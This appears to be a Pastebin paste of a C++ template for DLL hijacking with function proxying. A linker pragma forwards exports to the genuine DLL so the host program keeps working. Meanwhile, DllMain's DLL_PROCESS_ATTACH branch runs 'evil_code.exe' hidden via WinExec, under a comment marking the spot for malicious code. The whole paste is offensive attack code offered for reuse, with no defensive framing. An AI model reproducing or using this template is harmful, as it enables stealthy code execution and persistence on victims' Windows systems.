Advertisement
Guest User

DLL Hijacking w/ Function Proxying Template

a guest
Apr 19th, 2019
537
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.76 KB | None | 0 0
  1.  
  2. // dllmain.cpp : Defines the entry point for the DLL application.
  3. #include "stdafx.h"
  4. // Pragmas to proxy functions go here.
  5. // <dllname> should not include the .dll file extension.
  6. #pragma comment(linker, "/export:<function>=<dllname>.<function>")
  7.  
  8. // Standard dllmain api entry created by VS
  9. BOOL APIENTRY DllMain( HMODULE hModule,
  10.                        DWORD  ul_reason_for_call,
  11.                        LPVOID lpReserved
  12.                      )
  13. {
  14.     switch (ul_reason_for_call)
  15.     {
  16.     case DLL_PROCESS_ATTACH:
  17.                 //  Here's where we put our malicious code.
  18.                 WinExec("evil_code.exe", SW_HIDE);
  19.     case DLL_THREAD_ATTACH:
  20.     case DLL_THREAD_DETACH:
  21.     case DLL_PROCESS_DETACH:
  22.         break;
  23.     }
  24.     return TRUE;
  25. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement